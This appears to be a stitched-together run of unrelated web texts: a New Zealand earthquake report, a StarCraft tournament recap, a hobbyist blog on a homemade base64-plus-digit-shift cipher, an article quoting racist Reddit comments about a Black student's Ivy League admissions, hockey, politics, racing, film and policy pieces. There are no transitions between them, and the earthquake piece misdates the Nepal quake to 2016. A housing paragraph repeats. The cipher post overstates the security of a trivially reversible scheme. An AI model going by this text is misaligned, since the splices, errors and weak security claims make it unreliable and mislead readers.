At 12:02 a.m. local time on November 14, a Mw=7.8 (per USGS), Mw=7.5 (per GNS Science, NZ) earthquake struck New Zealand’s South Island, and caused tsunami warnings to be issued for all of New Zealand’s east coast. Even though the epicenter was on land, tsunami warnings were issued, according to GNS Scientist Bill Fry, because the fault projected offshore, and the earthquake source involved thrust motion, which can lift or drop the sea floor. So far, the largest recorded waves were 2 m (6 ft) high.
Today’s earthquake, which was centered approximately 100 km (60 miles) north of Christchurch, near the small town of Culverdon, was widely felt over both the North and South Islands. So far, only two fatalities are confirmed, but there was significant damage, and vast areas remain without power.
Widespread Damage
The majority of damage from this quake appears to be centered around and to the north of the epicenter, including in the capital city of Wellington. Landslides, rockfalls, building collapses and large surface cracks have been reported near the epicenter, while in Wellington, the ferry terminal collapsed, building facades came down, and broken glass littered the street.
This earthquake struck on the Marlborough Fault System, which occupies much of the northeastern portion of New Zealand’s South Island. The area is being both compressed and sheared, and contains many active northeast-southwest trending faults that link up with the Alpine Fault, the master fault demarking the Pacific-Australian plate boundary in New Zealand, much as the San Andreas is the master fault of the Pacific-North America plate boundary on the other side of the Pacific.
Did the quake nucleate on a blind thrust fault?
Determining which fault slipped was not initially clear. Scientists first looked to the Hope Fault, the most active fault in the region, which last ruptured in 1888 (M=7.0 – 7.3). However, according to Pennsylvania State University geophysicist Kevin Furlong, the earthquake is incompatible with the Hope Fault. The preliminary rupture model released by Gavin Hayes at the USGS in Golden, CO, places the majority of slip near the Kekerengu Fault, 120 km northeast of the epicenter. In fact, there appears to be very little slip near the epicenter.
Now however, scientists at GNS Science have been able to examine the fault rupture more carefully, and have determined key aspects about the earthquake. Their most important discovery is that it was not one fault that ruptured, but four, including a newly identified fault in Waipapa Bay (See figure below). Displacement along the Kekerengu Fault was the most significant, in some places reaching 10 m (33 ft). For at least one house, this displacement completely ripped it off its foundations. Multi-fault ruptures such as the one yesterday are common in New Zealand. In 2010, the M=7.1 Darfield Earthquake jumped multiple segments in a single earthquake that caused significant damage.
Additionally, Shinji Toda at Tohoku University graciously provided coulomb analysis showing areas of increased and decreased stress throughout New Zealand following the 14 November 2016 M=7.8 earthquake. His analysis shows that the Wellington and Wairarapa faults on New Zealand’s North Island may be closer to failure. You can follow aftershocks in New Zealand on Temblor.
New Zealand and Nepal quakes: Twins in every respect but lives lost
In terms of its rupture, the New Zealand earthquake is a ‘deja vu’ experience with the 25 April 2016 Mw=7.8 Nepal earthquake. Both show almost no fault slip at their epicenters, with the seismic waves traveling at about 5,000 mile per hour for about 50-100 km before the fault began to unzip. In the case of the Nepal quake, this placed much of the strong shaking beneath densely-populated and poorly-constructed Kathmandu, taking 9,000 lives. The New Zealand shock ruptured away from Christchurch, toward Wellington, but in a lightly populated part of the country, sparing lives—but putting Wellington on notice.
There are two candidates for aftershocks remotely triggered by the dynamic stresses carried by the seismic waves of today’s mainshock. These M=4.6 and M=4.7 shocks lie 600-800 km (250-500 mi) to the north and northwest of the mainshock. However, there is no smoking gun, as they did not strike when the waves arrived, but were delayed by 2-4 hours. This also occurred in Nepal shock, with remote aftershocks continuing over several weeks.
Nepal was unlucky enough to sustain the strongest shaking in the country’s capital, whereas New Zealand’s capital escaped today’s event. But just as dramatic are their different building construction standards and materials: New Zealand is one of the safest earthquake-prone countries in the world, whereas Nepal remains extremely vulnerable.
If we ever needed motivation to build better, this is it.
Check your hazard rank in Temblor
Updated: 15 November 2016 at 3 p.m.
Citation: Jacobson D., Stein R.S., 2016, 14 November 2016 Mw=7.8 New Zealand earthquake |
- 3 HerO
Liquid.HerO advances to the semi-finals! oGs.SuperNoVa will be in Code S next season.
Game 1:
Squirtle 1 - 0 TaeJa
Game 2:
Squirtle 2 - 0 TaeJa
Game 3:
Squirtle 3 - 0 TaeJa
StarTale.Squirtle advances to the semi-finals! Liquid.TaeJa will be in Code S next season.
Round of 4 Preview:
Match #1:
Prediction: 3-2 for Startale.PartinG
Match #1:
Prediction: 3-1 for Startale.Squirtle
SK Gaming are recruiting editors. Find out how you can get involved via the Jobs page.
Day 2 of the GSL RO8 had two Protoss versus Terran on the agenda. With Young Jin 'SuperNoVa' Kim versus Song Hyun 'HerO' Deok in the first match and Hyun-Woo 'Squirtle' Park versus Young Seo 'TaeJa' Yoon in the last Quarter-finals match.The first matchup is between the seasoned Terran player, SuperNoVa who has already improved his GSL record from last season when he got eliminated in the RO16 and is now eager to get into the RO4 for the first time. His opponent is Liquid.HerO, this Protoss has been doing amazing since he was picked up by Team Liquid and with this being his first GSL code S ever we will surely see more from him in the upcoming GSL and GSTL events.Yesterday during my recap of day 1 which you can find here I made some predictions for the RO8 day 2. Lets see how I did.The series began on Entombed Valley with HerO starting off with a four-gate wanting to finish the game early. Unfortunately for him, it got scouted by SuperNoVa in time who reacted with multiple bunkers and SCVs near his natural expansion. This nullified HerO's attack, only grabbing a few SCV kills and not delivering the damage he wanted. With SuperNoVa in a far better economical situation, HerO retreated and went for his own expansion. SuperNoVa did not capitalize on his lead and let HerO get back into the game due to going for a late Marine/Siege tank push instead of pushing out midgame when HerO was at his weakest trying to tech up. Although SuperNoVa was able to create a strong siege line with Siege Tanks, it got crushed by HerO's mass +2 Charge Zealots. Having invested so heavily in his contain, SuperNoVa had no army left to stop the counter-attack and called GG.Game two was on Metropolis, SuperNoVa wanted to level the score and went for a Fast Expand build into a timing attack with four Barracks and Stimpack upgrades. HerO knew some pressure was coming and prepared for it with plenty of Gate-way units and held the attack off using Force Fields. SuperNoVa had cut economy, upgrades and tech for this failed attack and was getting behind more and more. HerO ruthlessly built on his lead. Without HerO needing to launch a final attack, SuperNoVa eventually GG'd out after seeing his harassment stopped, the Protoss bases multiplying, and his forces getting stormed to death.The third map was Atlantis Spaceshipwhere SuperNoVa went for one of his trademark build styles, a two-base, bio-mech all-in. Using a composition of Thors and Marine he went for a +2 armor timing attack. With HerO having High Templars and Psionic Storm available to him he had to make the hard choice between using Feedback on the Thors or Psionic Storm on the Marines. He went for the last option which worked out amazing, ripping through the Marines and SCVs in mere seconds. SuperNoVa had no answer to HerO's High Templar play in Game 2 and 3 and was forced to tap out.With a clean 3-0 sweep in nearly record time, HerO showed why he has come so far and isn't done yet in the GSL.The second series of the day would get underway with Cloud Kingdom. Squirtle went for one of his trademark two base Colossus builds. Yet, like many Terran opponents before him, TaeJa fell to the attack that came with just a couple of Colossi, despite having Vikings and Bunkers at his base. He was able to kill off the colossi, but he simply lost too many units in the process, GG'ing out to the flood of gateway units that followed up.This must have frustrated TaeJa seeing as he must have studied the strategies and timings of Squirtle endlessly and prepared for it with Vikings and Bunkers but had no real chance against itThe second game of the series started on Ohana. TaeJa made two Vikings out of the first starport without scouting his opponents tech path. You could really see that TaeJa was afraid of the Colossi builds of Squirtle and didn't want a repeat of game one. With Squirtle going for warp-prism and Blink stalkers, the decision of Vikings worked out quite well. Squirtle moved out for a huge attack to TaeJa main base. With the Vikings taking out the Warp prisms it looked like TaeJa took care of the reinforcements of Squirtle. TaeJa did hold off the attack but suffered immense SCV losses, losing over twenty SCVs. After that all Squirtle had to do was hold off TaeJa's counter attack. He teched up to Psionic Storm and went for the kill this time. TaeJa had no answer and was forced to GG.The first map was Entombed Valley. With Squirtle on match point he was confident of sweeping the series. The Protoss went for a one base all-in using Immortals and four Gateways. With TaeJa being on the brink of elimination, he also went for an early agression build. With both players attacking the opponent's base at the same time, this game turned into a good old base trade scenario. With the Terran flying his buildings away to a new location, his opponent got some Probes evacuated and also started a new base. Squirtle decided to hold off any agression in his newly founded base and go for High Templars whilst his opponent wanted to finish it off with Marine/Marauder. Due to Force Fields he bought himself enough time to get Psionic Storm and after that it was smooth sailing to victory for the last semi-finalist, Squirtle.My predictions seemed a little off with Squirtle showing us why he considered such an amazing Protoss player. TaeJa is no easy Terran but he made it look so easy and clean. With both Protoss players destroying their opponents in 3-0 style, the semi finals match between HerO and Squirtle will surely be one hell of a match. One thing is for sure, there will be a Protoss in the GSL 2012 Season 2 finals. Only one Protoss has won the GSL so far, our very own SK Gaming's Jong Hyeon 'xxxMVP' Jeong versusPartinG has been doing very well in the GSL, with this only being his second season yet. Last season he got eliminated in the RO8 against the eventual winner of Season 1, Soo Ho 'DongRaeGu' Park. Having already broken his record of last season he is now eager to take on the King of Terrans, MVP. PartinG is known for his cocky attitude but he will surely have respect for his opponent who is widely considered to be one of the best players in the world. With MVP not being at the top of his game due to having wrists problems caused by Carpal Tunnel Syndrom I think PartinG will take this one. Song Hyun 'HerO' Deok versusThis matchup will be extremely hard to predict. With the current Protoss vs Protoss matchups always being entertaining to watch but most will agree that it revolves more around luck and mindgames compared to other mirror matchups. With Squirtle having more success and experience at PvP. I'll be putting my money on him.Understanding encryption — building shift encrypt
A quick run through of how I built my own encryption. Source Code.
Clyde Smets Blocked Unblock Follow Following Nov 21, 2016
In primary school (US: elementary school) my best friend and I wanted to be able to create a secret language. We thought it would be cool to be able to write without others understanding. Like most nerdy kids we went off to the school library in seek for answers. We Looked through a small selection of books trying to find the ultimate solution, but ended up with nothing. Who were we kidding, it’s primary school. We braved up and talked to the librarian which resulted in giving us photocopies of the Aboriginal alphabet. It wasn’t as easy as we had hoped, leading us to move on to the next thing that entertained our young minds.
We got something like this
18 years later, I decided to do some self study on binary, because surprisingly I was never taught it. Down the rabbit hole I went. From binary, came hexadecimals then ASCII hex codes till finally concluding at encoding. After learning this stuff, I realized — “Hey, couldn’t I use this to encrypt a message?”. Which reminded me of that time in back primary school.
The original idea was to copy how base64 works and just shuffle around the public key so that you couldn’t decode it unless you have that key — thus becoming a private key = encryption.
Optional note:
The difference between encoding and encrypting is the key being public and private. Encoding is when the key is public, so anyone can decode it. Whereas encryption requires a private key — only those with the key can decrypt the message.
So how do we encrypt “My Secret Message”?
We first have to break it down to binary.
String: My Secret Message
Hex: 4d7920536563726574204d657373616765
Binary:
0100110101111001001000000101001101100101011000110111001001100101011101000010000001001101011001010111001101110011011000010110011101100101
To make sense of the above, each character is broken down into hexadecimal. From there we can get the binary. With this binary we can manipulate it to bring it back to a string (text) but completely different from it’s original value. To do this we can follow how Base64 works.
With ASCII characters it stores 8 binary values, Base64 does 6. So what we can do is group 6 binary digits and return a numerical value from it, which should give us a number between 0 and 63. We can use this number to get the index value of a character from our key. However, there is an issue were we might get a remainder value of only 2 binary digits which doesn’t size up to the 6 digits we need. What we have to do is called padding. To pad, we need to understand how much padding is required. Base64 needs 24 bits per block (24 digits). So we have to grab blocks of 24 bits. If there is a block of only 12 bits in the remainder, we have to append a padding of 12 bits to meet the 24 bit requirement.
To better understand this let’s pad the binary value we got from “My Secret Message!”
1 [010011010111100100100000]
2 [010100110110010101100011]
3 [011100100110010101110100]
4 [001000000100110101100101]
5 [011100110111001101100001]
6 [0110011101100101]
So what we can see from the above is that there are 5 block of 24 bits, but the 6th block only has 16 bits. We have to pad this value so it becomes 24 bits.
6 [011001110110010100000000]
Awesome! Now that we have padded the binary, we need to convert those padded values into something that we can later understand for when we later decrypt it. Because, those padded values are not part of the original binary.
6 [0110011101100101==]
Ok, now we need to get the decimal values from the binary per 6 bits.
19,23,36,32,20,54,21,35,28,38,21,52,8,4,53,37,28,55,13,33,25,54
With these numbers we can then use them as an index reference to get the character value from the encoding private key. And the result we get is:
TXkgU2VjcmV0IE1lc3NhZ2U==
Great! Now, it’s already looking like an encryption, and it already is! But we want to make this much more secure. Let’s take a look at a very old encryption method — Caesar Cipher.
Shifting the alphabet by 3
From the above diagram you can see that the alphabet has been shifted by 3. So when you write ‘abc’ and shift it by 3 it becomes ‘def’. Which will result in a different message. While it proved to be effective back in it’s time, it’s actually super simple to crack because the alphabet is only 26 characters long, so you only have to run the message through 26 shifts to find the result. But what if you used this cipher on each character of a message with different shifting amounts?
That’s what we are going to do next! If we have a key e.g. 3453465. We can use this to shift the values on our encrypted message against the encoding key to make it even more difficult to crack. To do this we will use each digit in the key as a shifting value, so each character can shift by a value from 0 to 9. However if we do this with the current key we are going to get a problem once we pass the last digit (‘5’), because the encrypted message is longer than the number of values in the key. What we can do is just make it go back to the start (first digit ‘3’). So it will loop through the key until all characters in the encrypted message is shifted. What we end up with is:
WbpjY8amgrY4OJ4ph6Rne5Y==
There we have it! An encrypted message. To decrypt it we follow the steps we did but in reverse, so long as we have to two keys and understand the amount padded.
By no mean I would say this encryption is amazing, but it would be fun to see if someone can decode the below:
You can download/clone/fork the source and try it out yourself.A black high school student gets admitted into all eight Ivy League schools. That’s not the premise of a joke. It’s the latest news story to have fanned the racist fire among Reddit users.
Kwasi Enin, a 17-year-old from Shirley, N.Y., was accepted into Yale, Harvard, Princeton, Columbia, Brown, Dartmouth, Penn, and Cornell (yes, it turns out that Cornell, despite being part state school, still counts as an Ivy). Getting into one of these schools is difficult to do—most of the them have an acceptance rate in the single digits, and the others are not far off. Going eight for eight? That’s nearly impossible.
There are many reasons why Enin got into all eight schools. According to USA Today, he ranks 11th in his class (out of 647), got a 2250 on his SATs (putting him in the 99th percentile of all students), has taken 11 Advanced Placement classes, plays sports, sings in the a capella group (such an Ivy League thing to do), and volunteers at a local hospital. He’s also a first generation American (both his parents are from Ghana) and male (women constitute of 57 percent of the population at colleges). He’s an admissions officer’s wet dream.
On Monday, the aforementioned USA Today story was submitted to Reddit’s /r/news. A good portion of Redditors weren’t as happy for Enin as the rest of America was, choosing to focus on his race instead of any of his achievements. Here’s a sampling of some of the most unsavory comments—typos and all— that are still fit for publication:
Harilesswalkingchimp (It’s worth noting that out of more than 1,200 comments, this is the most popular one in terms of upvotes received. ):
I’m gonna get real with you reddit, no matter how pissed this makes you it doesn’t change the fact that he would not have had this absurd success if he was a white kid.
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DonTago:
“Don’t you realize that white children of this boy’s generation have to atone for the sins of their ancestors by giving him greater access to opportunities and education for the display of equal merit? /s
Sygaldry:
“I'm Asian. I had higher numbers, was a three-sport varsity athlete, took 12 APs, was a church leader, and participated in a slew of other activities but ended up at my state flagship school (granted my engineering program was ranked right below MIT) but no Ivy's would touch me with a 12 foot pole. In fact, no one in my graduating class got Ivy acceptances and the previous year only had one (Hispanic girl - Yale).
But this isn't the whole picture. I will refrain from playing the affirmative action card because I was a huge slacker in high school (sleeping in class, terrible attendance, etc) and I think this was reflected in all of my letters of recommendations.
Rodoshi:
"Seriously? My application was almost identical except that I was first in my class out of a top ranked tech academy focusing on a biotechnology program. I listed "white" for my ethnicity because they didn't have an option for Armenian. F**k affirmative action."
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ghhell88s:
With better credentials than the guy in the article my white fiance only got into two Ivy schools, and I only got into 1 Ivy with similar scores.
2250 is not that great, and frankly I think that this kid is going to have a hard time keeping up if he goes to a school like Yale.
J-Free:
How is it that gender, race, and ethnicity are even considered qualifiers? I was completely unaware that those qualities related to intelligence…and these are "Ivy league" school standards?! what a joke. It's the god damn 21 century and racism and sexism are still acceptable by professional standards?
So what’s the takeaway from this awful Reddit exchange?
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Look, I’m not going to say that the color of Enin’s skin didn’t play a factor into him getting a yes from all eight schools, but that doesn’t dismiss all of his accomplishments or give people an excuse to spew their racially charged bile.
Don’t like it?
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h/t Cooper Fleishman
Fidel Martinez is an editor at Fusion.net. He's also a Texas native and a lifelong El Tri fan.Carolina Hurricanes NHL Trade Deadline: Preview, Outlook
Carolina Hurricanes are one of the NHL’s hottest teams in 2016, going 10-4-5 so far through January and February. They’re sitting two points out of a playoff spot (wild-card), but face tough decisions over the next 12 days.
Even if this team were capable of making the postseason, they’re simply not built to compete in April. The Carolina Hurricanes would be swept by the Washington Capitals (or whoever) in the first round.
GM Ron Francis has a number of pending free agents that are looking for new contracts. Eric Staal and Cam Ward headline the list.
It sounds as though Eric Staal is looking for more money than Ron Francis is willing to give up. This is a situation where Staal may need to dip his feet into free agency. It seems that Eric Staal is seeking more money or term than he’s worth. General managers aren’t throwing around money the same way they did when he signed that seven-year $8.25 million dollar/year contract. It’ll be a reality check for Eric Staal when he realizes Ron Francis is offering fair market value. At that point, there’s a chance Staal returns to Carolina. In the meantime, he’s not going to do anything to help this team down the stretch – so it’s time to trade the asset to get something in return.
Rental Fits (Ranked):
1. Montreal Canadiens
2. Minnesota Wild
3. Ottawa Senators
4. Nashville Predators
5. Detroit Red Wings
He’s in the last year of a six-year deal carrying an annual cap hit of $6.3 million dollars. Over the course of his contract (2010-11 to present), Cam Ward has played 276 of a possible 433 games over the six-year span. That’s 63.74 percent of the entire franchise’s games over that period (46 starts on average per season).
Ward is arguably a top five, easily top 10 goaltender when fully healthy. The only problem – he doesn’t stay healthy long enough to establish that tag. The thought process of bringing in Eddie Lack in 2015-16 suggests the Carolina Hurricanes were attempting to give themselves a second option, that would also allow Cam Ward extra rest. After suffering a couple more injuries this season, it’s starting to feel reminiscent of Kari Lehtonen in Dallas.
It’s unclear what type of interest teams may have in the summer for Cam Ward. His injury history negates any long-term contract for the 31-year-old goalie. It wouldn’t be shocking to see him sign a two-year $4-4.5 million dollar deal somewhere (which could include returning to Carolina).
Is there a market for Cam Ward leading into the NHL Trade Deadline? He’s day-to-day with a lower body injury right now – sounds as though he’ll return soon. In 36 games, Ward is 16-11-4 with a 2.35GAA and.909 save percentage (some of his best numbers since his early days with Carolina). It’s a hefty $6.3 million dollar cap hit – but the numbers are fairly insignificant at this time of the year.
Let’s not forget that Carolina can easily retain salary from both Eric Staal and Cam Ward.
Rental Fits (Ranked):
1. Montreal Canadiens
2. New York Islanders
3. Nashville PredatorsPresident Donald Trump’s daughter Ivanka Trump and her husband Jared Kushner support the idea of extending DACA, according to a report in the New York Times.
The couple, who both serve as advisers to the president, traditionally signal their opposition to several of the president’s more controversial decisions. They wanted to seem more supportive of gay and transgender rights, keeping the United States in the Paris climate change agreement, and distancing themselves from Trump’s remarks after the violent events in Charlottesville.
Top business leaders including major Silicon Vally executives at Facebook, Amazon, and Apple have voiced desperate appeals to the president in the hopes that he will extend the program. Kushner worked extensively with Silicon Valley leaders putting together his American Technology Council at the White House, many who could leave in protest if Trump ends DACA.
The White House remains silent about the president’s intentions as he has nothing on his public schedule for Labor Day. The DACA decision is expected to be announced on Tuesday.Like any young driver, Josef Newgarden dreamed of winning a Verizon IndyCar Series championship.
He didn’t know if or when that would happen. Now that it has in his first season with Team Penske, the accomplishment has enhanced the 26-year-old Tennessean’s perspective on being a champion, his personal growth and the influential role bestowed upon him as an energetic ambassador representing the sport.
“Some guys hit their fortunes to be in this sport and it takes them 20 years to get where they want to be,” Newgarden said. “Some guys, it happens in a year or two. I didn't really know how it was going to work out for me. I think as a racer, you always dream it happens sooner. It would have been cool to get a championship sooner than my sixth year, but I can't complain.
“I think everything that's happened in my career has made me who I am today. It's made me strong inside the race car and inside a race team. You know, with where we're at now, I'm just really thankful and really happy about it, and the biggest thing that I always want as a driver is just to get better every single season. If you're continuing to go forward and we've won a championship, then that only means good things to come in the future.”
Team owner Roger Penske referred to Newgarden as “a journeyman” who had to work his way to the top after finishing 23rd in the points in his 2012 debut for Sarah Fisher Hartman Racing. Penske assured this year was merely the beginning of Newgarden making a name for himself.
That’s saying something considering teammates Helio Castroneves, Will Power and Simon Pagenaud are as established as any driver in the series. Castroneves just completed his 20th year of Indy car racing and his 30 career wins include three Indianapolis 500s. Power has won 32 races and is the 2014 champion. Seven of Pagenaud’s 10 career wins have come in the past two seasons with Penske, for whom he won the 2016 series crown.
Newgarden was asked about his potential longevity, but hit the brakes on that subject. One thing he’s learned in a short amount of time – savor the flavor of achievement.
“It’s important not to get too ahead of yourself,” he said. “I think we've got to be really proud of what we did this year. We've got to enjoy it. You have to. Someone reminded me that you have to take time to enjoy these moments because it doesn't mean anything if you don't take the time to enjoy it and appreciate it.
“We're going to do that, for sure. But what the future holds, I don't think we can get ahead of ourselves. It takes a lot of work to do what we did this year, and I hope we're able to do it many, many times over. But it doesn't always work out that way, so we've got to be on our toes, make sure we’re aggressive but cautious at the same time, and I hope 10, 20 years down the road, we've got many more championships and hopefully some Indy 500s along the way, too.”
Newgarden won a series-best four races this season to bump his career total to seven. Already known as one of the most personable drivers in the paddock, his persona will inevitably grow in the spotlight now that he’s distinguished himself further on the track.
He acknowledges that being a champion means accepting the responsibility to represent the sport positively.
“Look, I'll carry the flag happily,” he said. “I love the (Verizon) IndyCar Series. I think it's got the whole world in front of it. It can go so many good ways. I'll do the best that I can to help spread the word and show people how great this sport is. I think people have been catching on, to be honest with you, over the last couple years. They're coming back to the sport. Anyone that we lost over the last 20 years, I think they've been coming back over the last five or six seasons, and we've got to make sure that we keep doing that.
“It's not one big step, it's going to be little steps at a time, and I think in the next five years hopefully we can be in an amazing place. I think we're in a good place right now, but we want to be in an amazing place. I'll do my best to carry that flag and help everyone in the Verizon IndyCar Series keep going up.”The X-Men: Rogue Cut adds 17-minutes of footage to the theatrical cut of Days of Future Past, including an extended action sequence featuring Rogue (Anna Paquin) as the X-Men try to free her from a Sentinel controlled prison.
X-Men: Days of Future Past – The Rogue Cut is scheduled to be released on July 14, 2015. However, Fox is releasing a tease of the first look for the X-Men: Rogue Cut soon.
The X-Men: Rogue Cut tease of the first look will first be released through snapchat to followers of the official X-Men snapchat. Fans can follow the official X-Men snapchat by taking a picture of the image below with their snapchat app. There is a coding in the image that allows your app to do this.
The Rogue Cut tease of the first look will be posted soon on this app, which will be a couple of days earlier than the official release and will be exclusive to X-Men snapchat followers.Rumors are swirling that Star Trek Into Darkness director, J.J. Abrams, may be dropping out of Star Wars: Episode VII due to some disagreements with the studio.
Update: TheForce.net has reportedly received an official response concerning this rumor from Lucasfilm© and they have stated that the rumor is unfounded.
The official response from Lucasfilm: “There is no truth to the rumor. JJ is having a great time working on the script and is looking forward to going into production next year.”
Despite rumors continuing to crop up about J.J. Abrams and his involvement with Star Wars: Episode VII, as for now, it seems he is still officially attached to the film. The new writers who are now attached to Star Trek 3 are indeed true, so feel free to read through the article below.
Director J.J. Abrams is hotter than hot right now, nearing Joss Whedon status (almost), but he may be leaving his job as director of the next Star Wars film due to filming locations.
According to reports, Abrams doesn’t want to be away from his family for such a long period of time, as the studio wants to shoot Star Wars: Episode VII in England.
Badass Digest reports that multiple sources confirm Abrams is quite close to quitting altogether the highly publicized Star Wars film. Studio insiders at Comic-Con reportedly supported earlier claims.
Article Continues Below
After Disney acquired Lucasfilm from Star Wars creator, George Lucas, for a cool $4 billion, they decided to move quickly and hired J.J. Abrams for the first Star Wars film produced by its new studio.
Digest has also revealed that the script for Star Trek 3 will be written by Ashley Edward Miller and Zack Stentz. The duo wrote the first Thor film for Marvel and they also have writing credits which include X-Men: First Class.
We’re glad to hear that some new blood is being brought into the franchise, as some fans felt Star Trek Into Darkness felt a bit too familiar, despite it being a critical and financial success.
Despite Abrams concern about filming in England, the studio is reportedly bucking at moving the film’s location to the U.S., which is apparently a deal breaker for Abrams.
Collider reports that these rumors may become more solid if Abrams were to be missing from Germany’s Star Wars celebration, which takes place very soon, between July 26 – 28.
Fans may be curious as to whether Abrams leaving Star Wars: Episode VII could mean he’ll be coming back for Star Trek 3, but it definitely isn’t a certainty, since Abrams is Hollywood’s new wonderboy. If he becomes free of Disney’s new Star Wars film, he’ll have offers rolling in that could tie him up for years.
We’re definitely interested to find out how true these rumors are, as we think Abrams could do a great job with Star Wars, but we think it’d be much better if he stuck to Star Trek 3.
He’s done a great job with the Star Trek franchise so far, and the best outcome would be if he chose to do both films. But, there are some big question marks in both of the franchises right now, so we look forward to hearing what Abrams has to say about these rumors.
Would you rather Abrams direct Star Wars: Episode VII or Star Trek 3?Good day fillies and gentlecolts!
Well, it’s here. It’s actually here. The one year anniversary of Gardens of Equestria. Now, I know there’s a lot we’re putting out today, so I won’t wax nostalgic or anything here.
No, this post is about something very special. It’s something I mentioned back at the end of last year as a random Crazy Idea (™) that popped into my head. There was some mixed reviews on the idea. Some thought it was brilliant. Some thought it was unnecessary. In the end, only time will tell.
So I’m happy to announce the launch of The Manehattan Network, Phase 1.
First and foremost, let me start by saying that this is an experiment. It might work out, it might not. It might change dramatically from this very basic beginning. It might stay the same. I’m not entirely sure.
But what I am sure about is that those who work in modding for MLP need a home base. We need a spot where we can talk about our various MLP mods, collaborate and just relax. We also need a database to know where these all are! While the Nexus now has the ability to sort by MLP-related mods (a much welcomed feature!), there’s still not a dedicated home for us modders.
In addition, please note that these are not only for Fallout: Equestria-themed mods. This is for any pony-related mod of any kind!
So at present, I’m opening up a new subforum here at the Gardens of Equestria Forums dedicated to the Manehattan Network. (http://gardensofequestria.com/forums/forumdisplay.php?fid=21)
Let me outline the objectives and expectations:
Mod Authors are responsible for their own mod listings. Mod Authors only need to provide the game (when applicable), a short synopsis of the mod and a link to where the mod is hosted. Each Mod gets their own thread.
In other words, all you need to do is register for an account here at the GoE forums, head over to either one of the dedicated Game Subforums (Currently Fallout 3, Fallout: New Vegas, Skyrim & Fallout 4, plus an assorted section) and post your mod!
I’ve already posted Smuggler’s Run on the FO:NV Thread.
Now, there is going to be one rule here. No adult-themed mods of any kind. If you want to do that, go over to Lover’s Lab.
This may seem fairly simple, but like I said, this is just Phase 1. I want to see how many people are interested in a thing like this before we devote any serious time to this project.
If you’re interested, head on over to our brand-new subforum for the Manehattan Network and get posting! Or maybe you’re just looking for some new mods to try out!TOKYO (Reuters) - Japan’s environment minister will submit to the country’s industrial ministry an objection over plans for a 1.07 gigawatt (GW) coal-fired plant to be built by Chubu Electric Power Co, NHK public TV said on Friday.
Japan's Environment Minister Yoshio Mochizuki attends a news conference at Prime Minister Shinzo Abe's official residence in Tokyo September 3, 2014. REUTERS/Yuya Shino
Environment Minister Yoshio Mochizuki has been pushing back on the growing use of coal to generate power after the Fukushima nuclear disaster led to the shutdown of the nation’s reactors, as concerns mount over greenhouse gas emissions.
In June, he objected to plans for a 1.2 GW coal-fired plant to be built by Electric Power Development and Osaka Gas.
An official at the environment ministry on Friday confirmed that Mochizuki planned to submit an opinion to the industrial ministry later in the day on Chubu’s plant, to be built in Taketoyo in central Japan, but declined to comment on its content.
Japan’s Ministry of Economy, Trade and Industry has been promoting the use of coal to cut costs relative to imports of expensive liquefied natural gas (LNG) after the Fukushima disaster.
Under Japan’s environmental impact assessment law, government approval for a power plant project is based on an examination of its effects on the surrounding environment.
The industry ministry handles the process and is authorized to give an approval, although the environment ministry can submit opinions during the assessment that could influence the final decision.
NHK also said Mochizuki would at a news conference later in the day say that a voluntary plan to cut greenhouse gas emissions that was mapped out by the country’s power industry in July would not be effective enough and should be reconsidered.
Japan’s Federation of Electric Power Companies, whose members include the 10 main power monopolies, and 25 other firms said last month they had voluntarily set a goal to curb CO2 emissions per 1 kilowatt of power by 35 percent from 2013 levels to around 0.37 kg in 2030.
Japan has faced increasing criticism by environmental groups and from other countries as it burns record amounts of coal and plans a wave of new power stations using the fuel as it struggles to revive its nuclear industry.How much did Adam Smith value liberty? Social democrats, moderates, conservatives, and libertarians all want to claim the patron saint of economics as their own. Did he see liberty as just one value among many competing values? Was it the only value for judging government policy? Or did Smith see liberty as the most important value among a few others?
I have argued that Smith cannot be characterized as a rights-based libertarian for whom liberty is the sole guiding principle. After all, he advocates many exceptions that violate liberty. He also does not fit in the liberty-only camp because his moral philosophy precludes systems built on a single ideal. In the last part of The Theory of Moral Sentiments he criticizes Epicurus and other philosophers for over-simplifying the world to fit a single principle.
But neither should we think of Smith as treating liberty as simply one among many values like equality, utility, propriety, order, prudence, or prosperity. Left Smithians tend to interpret Smith this way and thereby water down the importance of liberty. They have nothing against liberty, of course, but only as long as these other values are being satisfied. They miss that liberty, and its duty of commutative justice (“abstaining from what is another’s”), is the most widespread and important theme in Smith’s works—both by the number of times he talks about liberty and by his eloquence in doing so.
The third alternative is that Smith thought liberty was the most important value, but had to be weighed against other important values. Although liberty was essential, Smith was willing to restrict it in a few limited instances. He presumed that liberty was the default. Contravention of it requires compelling evidence and strong arguments. That “presumption of liberty” runs throughout Smith’s work and remains an attractive political philosophy today.
But |
housing elements every eight years. The fourth housing element planning cycle, which began sometime between 2006 and 2008 for most cities and counties, recently ended. Most cities and counties now are a couple years into their fifth planning cycle.
Regional Housing Needs Allocation Process Defines Each Community’s Fair Share of Housing. Each community’s fair share of housing is determined through a process known as Regional Housing Needs Allocation (RHNA). The RHNA process has three main steps:
State Departments Develop Regional Housing Needs Estimates. To begin the process, the state department of Housing and Community Development (HCD) estimates the amount of new housing each of the state’s regions would need to build to accommodate projected household growth. Household growth projections are based on an analysis of demographic trends and population growth estimates from the state Department of Finance. Each region’s housing needs are grouped into four categories based on the anticipated income levels of future households: very‑low, low, moderate, and above‑moderate income. (Very‑low income is defined as less than 50 percent of an area’s median income, low income 50 percent to 80 percent, moderate income 80 percent to 120 percent, and above‑moderate income more than 120 percent.)
To begin the process, the state department of Housing and Community Development (HCD) estimates the amount of new housing each of the state’s regions would need to build to accommodate projected household growth. Household growth projections are based on an analysis of demographic trends and population growth estimates from the state Department of Finance. Each region’s housing needs are grouped into four categories based on the anticipated income levels of future households: very‑low, low, moderate, and above‑moderate income. (Very‑low income is defined as less than 50 percent of an area’s median income, low income 50 percent to 80 percent, moderate income 80 percent to 120 percent, and above‑moderate income more than 120 percent.) Regional Councils of Government Allocate Housing Within Each Region. Next, regional councils of governments (regional planning organizations governed by elected officials from the region’s cities and counties) allocate a share of their region’s projected housing need to each city and county. Cities and counties receive separate housing targets for very‑low, low, moderate, and above‑moderate income households. Each council of government develops its own methodology for allocating housing amongst its cities and counties. State law requires, however, that each region’s allocation methodology be consistent with their Sustainable Community Strategy—a state‑mandated long‑range regional strategy to reduce regional greenhouse gas emissions through transportation and land use planning.
